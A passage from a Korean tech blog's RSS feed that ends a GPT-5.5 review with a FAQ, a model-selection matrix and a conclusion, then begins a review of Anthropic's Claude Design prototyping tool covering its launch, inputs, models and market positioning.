&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;GPT-5.5 Pro는 수학 최고 난도(FrontierMath Tier 4 39.6% vs 35.4%), 웹 리서치(BrowseComp 90.1% vs 84.4%) 등에서 기본 모델보다 의미 있는 우위를 보인다. API 가격은 입력 $30, 출력 $180/1M으로 기본 모델의 6배다. 최전선 연구나 고부가가치 자동화에만 Pro가 정당화된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 24px; margin: 16px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q2. 환각률 86%라는 수치를 어떻게 해석해야 하나?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 수치는 Artificial Analysis의 AA-Omniscience라는 독립 벤치마크에서 측정된 것으로, OpenAI 공식 수치가 아니다. BNY처럼 높은 정확도가 필수인 도메인에서는 GPT-5.5 단독 사용보다 교차 검증 워크플로우를 함께 설계하는 것이 현실적인 접근이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 24px; margin: 16px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q3. 과도한 확인 요청 문제를 줄이려면?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;얼리 액세스 테스터들의 커뮤니티 보고에 따르면, 추상적인 명령보다 구체적인 조건과 지시사항을 프롬프트에 명시적으로 포함하면 확인 요청이 크게 줄어든다. 예: &quot;중간에 확인 없이 끝까지 완료하라&quot;는 지시를 프롬프트에 포함하는 방식이 실효성이 있다고 보고됐다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 24px; margin: 16px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q4. Codex 환경에서의 컨텍스트 제한은 어떻게 대응하나?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Codex는 400K 토큰으로 제한되므로, 1M이 필요한 장문 문서 처리는 ChatGPT API 직접 호출 방식을 고려해야 한다. 대규모 코드베이스 분석이라면 컨텍스트 청킹 전략과 함께 MRCR v2 기준 74.0%의 장문 성능을 최대한 활용하는 방식이 효과적이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 24px; margin: 16px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q5. API 비용 부담이 크다. 절감 방법은?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Batch/Flex 옵션은 표준의 50% 비용으로 GPT-5.5를 쓸 수 있는 공식 방법이다. 실시간 응답이 불필요한 분석&amp;middot;검토 파이프라인에 적합하다. 입력 토큰 272K 초과 시 2배 과금되므로, 장문 컨텍스트 사용 시 청킹으로 272K 이하를 유지하는 비용 최적화도 고려할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;도입 결정 매트릭스&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;시나리오&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;추천 선택&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;에이전틱 코딩 (멀티스텝, 장기 태스크)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;GPT-5.5&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;Terminal-Bench 82.7%, Expert-SWE 73.1% 우위&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;1M 장문 문서 처리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;GPT-5.5&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;MRCR v2 74.0% (전작 2배 이상)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;수학&amp;middot;과학 연구 자동화&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;GPT-5.5 Pro&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;FrontierMath 전 구간 선두&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;도구 사용 중심 에이전트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;Claude Opus 4.7 / Gemini 3.1 Pro&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;MCP Atlas에서 GPT-5.5보다 우위&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;웹 리서치 (기본 모델)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;Gemini 3.1 Pro&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;BrowseComp 85.9% vs GPT-5.5 84.4%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;환각 최소화 우선 고정밀 업무&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;Claude Opus 4.7&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;AA-Omniscience 36% vs GPT-5.5 86%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;비용 절감 배치 처리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;GPT-5.5 + Batch/Flex&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;50% 할인 옵션 활용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;비용 대비 범용 성능&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;GPT-5.4 또는 Claude Opus 4.7&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;GPT-5.5 대비 50% 비용, GDPval 1.9%p 차이&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;마무리 하며..&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GPT-5.5는 에이전틱 AI로의 전환을 선언한 모델이다. 에이전틱 코딩, 수학&amp;middot;과학 연구, 1M 장문 컨텍스트 처리에서 현재 공개된 벤치마크 기준 가장 강력한 성능을 보여준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 벤치마크만 보고 결정할 수 있는 게 아니다. API 가격은 2배 올랐고, 독립 측정 환각률이 86%다. MCP 도구 사용에선 경쟁 모델보다 뒤처지고, 보상 해킹이나 과도한 확인 요청 같은 에이전틱 행동의 불안정성도 남아 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1958&quot; data-origin-height=&quot;1058&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DaGtC/dJMcaciz59I/822kSKrsMTKwtwLMGdiX51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DaGtC/dJMcaciz59I/822kSKrsMTKwtwLMGdiX51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DaGtC/dJMcaciz59I/822kSKrsMTKwtwLMGdiX51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDaGtC%2FdJMcaciz59I%2F822kSKrsMTKwtwLMGdiX51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1958&quot; height=&quot;1058&quot; data-origin-width=&quot;1958&quot; data-origin-height=&quot;1058&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1990&quot; data-origin-height=&quot;1092&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cv9e8b/dJMcahKX4Hd/DAR0AAcQ353uRZQKv9Avr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cv9e8b/dJMcahKX4Hd/DAR0AAcQ353uRZQKv9Avr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cv9e8b/dJMcahKX4Hd/DAR0AAcQ353uRZQKv9Avr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcv9e8b%2FdJMcahKX4Hd%2FDAR0AAcQ353uRZQKv9Avr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1990&quot; height=&quot;1092&quot; data-origin-width=&quot;1990&quot; data-origin-height=&quot;1092&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;지금 도입을 고려할 팀&lt;/b&gt;: 에이전틱 코딩 또는 1M 장문 컨텍스트 처리가 핵심 워크로드이고, 비용 증가를 감당할 수 있는 팀. Batch/Flex를 활용해 비용을 절반으로 줄이고 파이프라인을 먼저 검증하는 방식을 권한다. 여기에 하나 더 추가하자면, 단일 프롬프트로 동작하는 미니앱&amp;middot;HTML 게임 프로토타이핑 워크로드에도 적합하다. 이번 실험에서 7-블록 구조 프롬프트 하나로 게임 6개를 완성한 것이 그 증거다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;도입을 서두르지 않아도 될 팀&lt;/b&gt;: 일반 사무 자동화 중심이거나 MCP 도구 사용이 핵심이며, 환각률에 민감한 도메인(금융&amp;middot;법률&amp;middot;의료)인 경우. Claude Opus 4.7이나 GPT-5.4와의 성능&amp;middot;비용 비교를 우선 수행하는 것이 합리적이다.&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/ChatGPT(Codex)</category>
      <category>GPT-5.5</category>
      <category>GPT-5.5 API 가격</category>
      <category>GPT-5.5 Thinking 모드</category>
      <category>GPT-5.5 vs Claude Opus</category>
      <category>GPT-5.5 리뷰</category>
      <category>GPT-5.5 벤치마크</category>
      <category>GPT-5.5 환각률</category>
      <category>Terminal-Bench 2.0</category>
      <category>에이전트 AI 모델 비교</category>
      <category>에이전틱 ai</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/584</guid>
      <comments>https://goddaehee.tistory.com/584#entry584comment</comments>
      <pubDate>Fri, 24 Apr 2026 18:00:02 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code 'Claude Design이란?' 리뷰(1) : Figma 대체재인가, 보완재인가 - 디자인 시스템 설정부터 Claude Code 핸드오프까지</title>
      <link>https://goddaehee.tistory.com/583</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2654&quot; data-origin-height=&quot;1484&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjM6Hk/dJMcafGmeZF/fMB6yIlE2EJGla7G25Jtr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjM6Hk/dJMcafGmeZF/fMB6yIlE2EJGla7G25Jtr0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjM6Hk/dJMcafGmeZF/fMB6yIlE2EJGla7G25Jtr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjM6Hk%2FdJMcafGmeZF%2FfMB6yIlE2EJGla7G25Jtr0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2654&quot; height=&quot;1484&quot; data-origin-width=&quot;2654&quot; data-origin-height=&quot;1484&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;Anthropic Labs가 2026-04-17 공개한 &lt;/span&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.anthropic.com/news/claude-design-anthropic-labs&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Claude Design&lt;/a&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;은 텍스트 프롬프트 한 줄에서 인터랙티브 프로토타입까지 직접 생성하는 도구이다. 접근 URL은 &lt;/span&gt;&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;claude.ai/design&lt;/code&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;이고 Pro/Max/Team/Enterprise 구독자에게 제공된다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://support.claude.com/en/articles/14604416-get-started-with-claude-design&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Help Center&lt;/a&gt;, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://support.claude.com/en/articles/14604397-set-up-your-design-system-in-claude-design&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Design System 문서&lt;/a&gt;, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://support.claude.com/en/articles/14667344-claude-design-subscription-usage-and-pricing&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Pricing 문서&lt;/a&gt;)와 커뮤니티 리뷰를 직접 읽어 각 기능을 단계별로 정리한 것이다.&lt;/p&gt;
&lt;div style=&quot;background: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Design은 Anthropic Labs의 research preview로, 기능&amp;middot;사용량 한도&amp;middot;내보내기 옵션은 공식 발표 이후에도 변경될 수 있다. 실제 사용 전 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.anthropic.com/news/claude-design-anthropic-labs&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 발표 페이지&lt;/a&gt;와 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://support.claude.com/en/articles/14604416-get-started-with-claude-design&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Help Center&lt;/a&gt;에서 최신 상태를 다시 확인하자.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 2px solid #cce5ff; border-radius: 12px; padding: 20px 25px; margin: 20px 0 30px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 12px; color: #1a3a52;&quot; data-ke-size=&quot;size16&quot;&gt;목차&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-1&quot;&gt;출시 배경과 포지셔닝&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-2&quot;&gt;접근 방법과 요금제&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-3&quot;&gt;캔버스 인터페이스 이해: 화면 구성과 3가지 인터랙션 모드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-4&quot;&gt;기능 1: 첫 프로젝트 생성 &amp;mdash; 입력 방법 완전 가이드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-5&quot;&gt;기능 2: 디자인 시스템 설정 &amp;mdash; 단계별 튜토리얼&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-6&quot;&gt;기능 3: 인라인 코멘트 심화&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-7&quot;&gt;기능 4: Adjustment Knobs (Custom Sliders)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-8&quot;&gt;기능 5: Chat 기반 광역 리파인&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-9&quot;&gt;기능 6: 내보내기 6종 상세 튜토리얼&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-10&quot;&gt;기능 7: Claude Code 핸드오프&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-11&quot;&gt;기능 8: 공유와 협업&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-12&quot;&gt;실전 예시 3가지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-13&quot;&gt;사용량 관리와 토큰 절약 전략&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-14&quot;&gt;현재 알려진 제한과 주의사항&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-15&quot;&gt;커뮤니티 반응&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-16&quot;&gt;결정 매트릭스&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-17&quot;&gt;결론&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;읽는 방법&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 섹션 제목 앞에 난이도 뱃지가 붙어 있다. &lt;b&gt;처음 읽는다면 &lt;span style=&quot;background: #e8f5e9; color: #2e7d32; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600;&quot;&gt;초급&lt;/span&gt; 섹션만 따라오는 것을 권장한다&lt;/b&gt; &amp;mdash; 전체를 순서대로 읽으면 중간에 개발자 전용 내용이 섞여 어렵게 느껴질 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background: #e8f5e9; color: #2e7d32; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600;&quot;&gt;초급&lt;/span&gt;&amp;nbsp; 누구나 &amp;mdash; 바로 써먹을 수 있는 내용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background: #fff8e1; color: #f57c00; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600;&quot;&gt;중급&lt;/span&gt;&amp;nbsp; 선택 &amp;mdash; 기본 사용에 익숙해진 뒤 참고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background: #e8f4f8; color: #0066cc; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600;&quot;&gt;개발자&lt;/span&gt;&amp;nbsp; 개발자 전용 &amp;mdash; 비개발자는 건너뛰어도 무방&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== SECTION 1 ===== --&gt;
&lt;h2 id=&quot;sec-1&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;background: #e8f5e9; color: #2e7d32; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;초급&lt;/span&gt;1. 출시 배경과 포지셔닝&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Design은 Anthropic Labs가 운영하는 실험 제품 인큐베이터의 결과물이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic Labs는 2026-01-13에 공식 소개된 조직으로, Claude Code&amp;middot;Model Context Protocol(MCP)&amp;middot;Skills&amp;middot;Claude in Chrome&amp;middot;Cowork를 앞서 론칭했다고 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.anthropic.com/news/introducing-anthropic-labs&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Anthropic 공식 발표&lt;/a&gt;는 기술한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Design은 이 중에서 디자이너&amp;middot;PM&amp;middot;마케터를 주 대상으로, 디자인&amp;middot;프로토타입&amp;middot;슬라이드&amp;middot;원페이저 등 시각 산출물(polished visual work)을 생성하는 도구다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;1.1. 무엇을 입력하면 무엇이 나오는가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력: 텍스트 프롬프트, 스크린샷, 이미지, DOCX/PPTX/XLSX 문서, Figma 파일(.fig), 코드 리포지토리, 웹 캡처&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출력: 랜딩 페이지&amp;middot;UI 목업&amp;middot;피치덱&amp;middot;이메일/마케팅 에셋 등 시각 산출물&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기반 모델은 Claude Opus 4.7(기본값)이며, 캔버스 내 모델 선택기에서 Claude Haiku 4.5 &amp;middot; Claude Sonnet 4.6 &amp;middot; Claude Opus 4.6 &amp;middot; Claude Sonnet 4.5 &amp;middot; Claude Opus 3로 전환 가능하다 (UI 직접 확인, 공식 문서에는 Opus 4.7만 명시).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;1.2. 공식 포지셔닝&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://techcrunch.com/2026/04/17/anthropic-launches-claude-design-a-new-product-for-creating-quick-visuals/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;TechCrunch&lt;/a&gt; 보도에 따르면 Anthropic은 Claude Design을 Canva의 대체재가 아닌 보완재로 포지셔닝한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Figma에 대한 공식 포지셔닝은 별도로 언급되지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;발표 당일 Figma 주가는 장중 최대 약 7.28% 하락해 $18.84에 거래됐다고 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://officechai.com/ai/figmas-stock-falls-7-after-anthropic-introduces-claude-design/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;OfficeChai&lt;/a&gt;가 보도하나, Claude Design 출시가 직접적 원인이라는 공식 출처는 확인되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;독립 디자이너 Sam Henri Gold는 Claude Design의 핵심 차이를 다음과 같이 정의했다: &lt;i&gt;&quot;HTML and JS all the way down.&quot;&lt;/i&gt; (처음부터 끝까지 HTML과 JS다.) Figma가 독점 벡터 포맷 위에서 동작하는 반면 Claude Design은 실제 웹 구현 재료인 HTML/JS를 바로 생성한다는 뜻이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 2 ===== --&gt;
&lt;h2 id=&quot;sec-2&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;background: #e8f5e9; color: #2e7d32; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;초급&lt;/span&gt;2. 접근 방법과 요금제&lt;/b&gt;&lt;/h2&gt;
